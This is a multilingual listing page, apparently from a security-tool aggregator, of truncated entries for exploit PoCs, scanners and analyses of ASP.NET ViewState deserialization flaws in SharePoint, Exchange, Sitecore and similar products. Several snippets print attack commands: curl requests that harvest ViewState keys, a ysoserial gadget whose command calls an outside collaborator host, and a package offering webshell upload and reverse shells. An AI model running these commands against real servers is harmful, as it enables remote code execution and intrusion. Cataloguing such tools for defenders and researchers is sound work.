CVE-2025-53690-Analysis

CVE-2025-53690: Sitecore ViewState Deserialization 취약점 분석 개요 CVE-2025-53690은 Sitecore 제품군에서 발견된 ViewState 역직렬화 취약점으로, 노출된 ASP.NET machine key를 악용하여 원격 코드 실행이 가능한 치명적인 보안 취약점입니다. 기본 정보 CVE ID : CVE-2025-53690 CVSS 점수 : 9.0 Critical 취약점 유형 : Deserialization of Untrusted Data CWE-502 발견일 : 2025년 9월...

CVE-2025-53770-Checker

CVE-2025-53770-Checker 온프레미스 SharePoint 서버가 CVE-2025-53770에 취약한지 확인합니다 SharePoint Server의 CVE-2025-53770 취약점에 대한 비침습적 탐지기 개발: Division81 Grupo Oruss의 윤리적 해커 팀 기술 설명 CVE-2025-53770 은 온프레미스 SharePoint의 ViewState 관리자에서 .NET 역직렬화의 치명적인 결함으로, 인증 없이 RCE를 허용합니다 :contentReferenceoaicite:1index=1. 익스플로잇은...

CVE-2020-0618

CVE-2020-0618 SQL Server Reporting ServicesCVE-2020-0618의 RCE 취약점 검증POC 다음 HTTP 요청을 서버로 전송하여 애플리케이션을 악용할 수 있습니다: root@kitploit: POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded Content-Length: X...

CVE-2025-30406

パート1: エクスプロイト root@kitploit: λ CVE-2025-30406.exe rce.txt...

PSForgot2kEyXCHANGE

PSForgot2kEyXCHANGE 用于 Forgot2kEyXCHANGE CVE-2020-0688 的 PoC，使用 PowerShell 编写 用法 此 PoC 需要有效的用户名和密码。 此 PoC 使用 ysoserial.net 创建新的 ViewState，其中包含您通过 -Command 参数指定的命令。 如果您的系统上尚未安装此工具，请在此处下载。 root@kitploit: PS . .\PSForgot2kEyXCHANGE.ps1 PS Invoke-Forgot2kEyXCHANG -Server 'https://webmail.domain.tld'...

CVE-2020-0688

CVE-2020-0688 Microsoft Exchange Server がインストール時に一意のキーを適切に生成できない場合、リモートコード実行の脆弱性が存在します。 検証キーを知っていると、メールボックスを持つ認証済みユーザーが、SYSTEM として実行される Web アプリケーションによって逆シリアル化される任意のオブジェクトを渡すことができます。 脆弱性について このバグは Exchange Control Panel ECP コンポーネントにあります。バグの性質は非常に単純です。インストールごとにランダムに生成されたキーを持つ代わりに、Microsoft Exchange...

CVE-2025-53770-Scanner

CVE-2025-53770 スキャナー DanSec による CVE-2025-53770 の重要な SharePoint 脆弱性への潜在的な露出を特定するための、シンプルで効果的な偵察ツール。 !Warning このツールは、許可されたテスト目的のみに使用されることを意図しています。 作者（DanSec）は、無許可のスキャンや使用によって引き起こされる誤用や損害について一切責任を負いません。このツールを使用する前に、スキャン対象のドメインまたはサービスに対する明示的な許可を得てください。 CVE-2025-53770 について CVE-2025-53770（"ToolShell"）...

CVE-2025-53770-Exploit

CVE-2025-53770-Exploit 먼저, 대상 SharePoint 페이지에서 VIEWSTATEGENERATOR, VALIDATIONKEY, VALIDATIONALG 값을 가져옵니다: root@kitploit: curl -s https://target.com/layouts/15/start.aspx | grep -oP 'VIEWSTATEGENERATOR" value="\K^"+' curl https://target.com/layouts/15/spinstall0.aspx 그런 다음, ysoserial.exe를 사용하여 서버의...

AspDotNetWrapper-Edited-

ASP.NET 에서 viewstate 머신 키를 테스트하기 위한 AspDotNetWrapper 다운로드 Windows에서 파일을 clone하고 압축을 해제하세요 사용법 root@kitploit: AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata --decrypt --purpose=viewstate --modifier= --macdecode 를 소스의 viewstate= 매개변수 value in the source로 대체합니다 를 소스의...

CVE-2025-53770-Scanner

🛡️ CVE-2025-53770 SharePoint 취약점 스캐너 CVE-2025-53770 의 영향을 받는 취약한 Microsoft SharePoint 인스턴스를 탐지하는 Python 기반 도구입니다. 이는 ToolPane.aspx 엔드포인트를 통해 트리거되는 안전하지 않은 역직렬화Insecure Deserialization 취약점입니다. 이 스캐너는 대상이 내부 직렬화 객체를 유출하는지 확인하기 위해 제작된 압축 ViewState 페이로드를 전송합니다. 🚀 기능 ✅ CVE-2025-53770에 취약한 SharePoint...

viewstate-security-workshop

Viewstate セキュリティワークショップ このリポジトリは、YSoNet YSoSerial.NET を使用した ASP.NET ViewState のテスト ワークショップ用です。 推奨読書: ASP.NET の ViewState を介したデシリアライゼーションの悪用 ラボのセットアップ後に課題を解くための推奨ツール: https://github.com/irsdl/crapsecrets https://github.com/irsdl/ysonet ワークショップのスライド:...

CVE-2026-26335-Calero-VeraSMART-RCE

👤 著者 Mohammed Idrees Banyamer セキュリティリサーチャー GitHub: https://github.com/mbanyamer Instagram: https://instagram.com/banyamersecurity CVE-2026-26335 - Calero VeraSMART ViewState RCE エクスプロイト 📌 説明 CVE‑2026‑26335 は、Calero VeraSMART （2022 R1 より前）における重大な認証不要のリモートコード実行の脆弱性です。...

cve-2020-0688

cve-2020-0688 cve-2020-0688 이메일 주소 권한이 있는 사용자로 로그인하는 것은 문제가 되지 않습니다. 획득 - 페이지 소스에서 VIEWSTATEGENERATOR 가져오기 획득 - viewstateuserkey 값에 대한 ASP.NETSessionId 쿠키 값 가져오기 여기서 YSO 다운로드 root@kitploit: ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "nslookup teasdas.myburpcollab.net"...

CVE-2020-0688

CVE-2020-0688 Microsoft Exchange Server 固定暗号鍵によるリモートコード実行 RCE インストールごとにランダムに生成されたキーを使用する代わりに、すべてのMicrosoft Exchange Serverインストールは、web.config内で同じ validationKey と decryptionKey の値を持っています。そのため、 認証された 攻撃者は、悪意を持って作成されたViewStateデータを逆シリアル化するようにサーバーを騙すことができます。YSoSerial.net...

CVE-2025-30406

CVE-2025-30406 ViewState Exploit PoC 概要 これはASP.NETアプリケーションにおけるCVE-2025-30406 のViewStateデシリアライゼーション脆弱性を実証するProof-of-Concept...

sharepoint-toolshell-micro-postmortem

사고 마이크로 포스트모템 — Microsoft SharePoint 온-프레미스 “ToolShell” 캠페인 이 키트는 온-프레미스 Microsoft SharePoint Server를 대상으로 한 2025년 중반의 “ToolShell” 제로데이 캠페인을 분류합니다. SharePoint Online은 범위 밖입니다. 외부 데이터에 의존하지 않고 종단 간 재현 가능한 헌트, 커뮤니케이션, 수치를 제공합니다. 이 저장소가 존재하는 이유: 재현 가능한 탐지와 정렬된 경영진 커뮤니케이션으로 분석가 분류 작업을 가속화합니다. 범위 및 가정...

Toolshell_CVE-2025-53770

ToolShell → CVE‑2025‑53770 Exploit PoC このパッケージは以下を可能にします： 1. SharePoint への webshell アップロード 2. ValidationKey の抽出 3. 署名付き ViewState の生成 4. リバース/バインドシェルによる RCE 🔧 セットアップ root@kitploit: git clone cd toolshell-exploit pip3 install -r requirements.txt 🤖 実行方法 webshell をアップロードします SharePoint...

Blackash-CVE-2025-53770

🧠 CVE-2025-53770 : ViewState 위조를 통해 악용되는 중요 SharePoint RCE 취약점 📌 취약점 개요 유형 : 원격 코드 실행 RCE CVSS 점수 : 9.8 치명적 구성 요소 : Microsoft SharePoint Server 온프레미스 근본 원인 : 탈취한 ASP.NET machineKeyValidationKey 및 DecryptionKey를 사용한 ViewState 데이터의 안전하지 않은 역직렬화. 악용 : 인증 불필요. 상태 : 야생에서 활발히 악용 중. 공개 날짜 : 2025년 7월 19일...

CVE-2025-53770-Scanner

🛡️ Scanner de Vulnerabilidade CVE-2025-53770 no SharePoint Uma ferramenta baseada em Python para detectar instâncias vulneráveis do Microsoft SharePoint afetadas por CVE-2025-53770 , uma vulnerabilidade de desserialização insegura acionada através do endpoint ToolPane.aspx. O scanner envia um...

EUVD-2026-39777

Zed Attack Proxy ZAP ViewState add-on before version 4 contains an insecure deserialization vulnerability that allows attackers who control a proxied web server to achieve arbitrary code execution by embedding a malicious serialized Java object in the javax.faces.ViewState HTTP response parameter...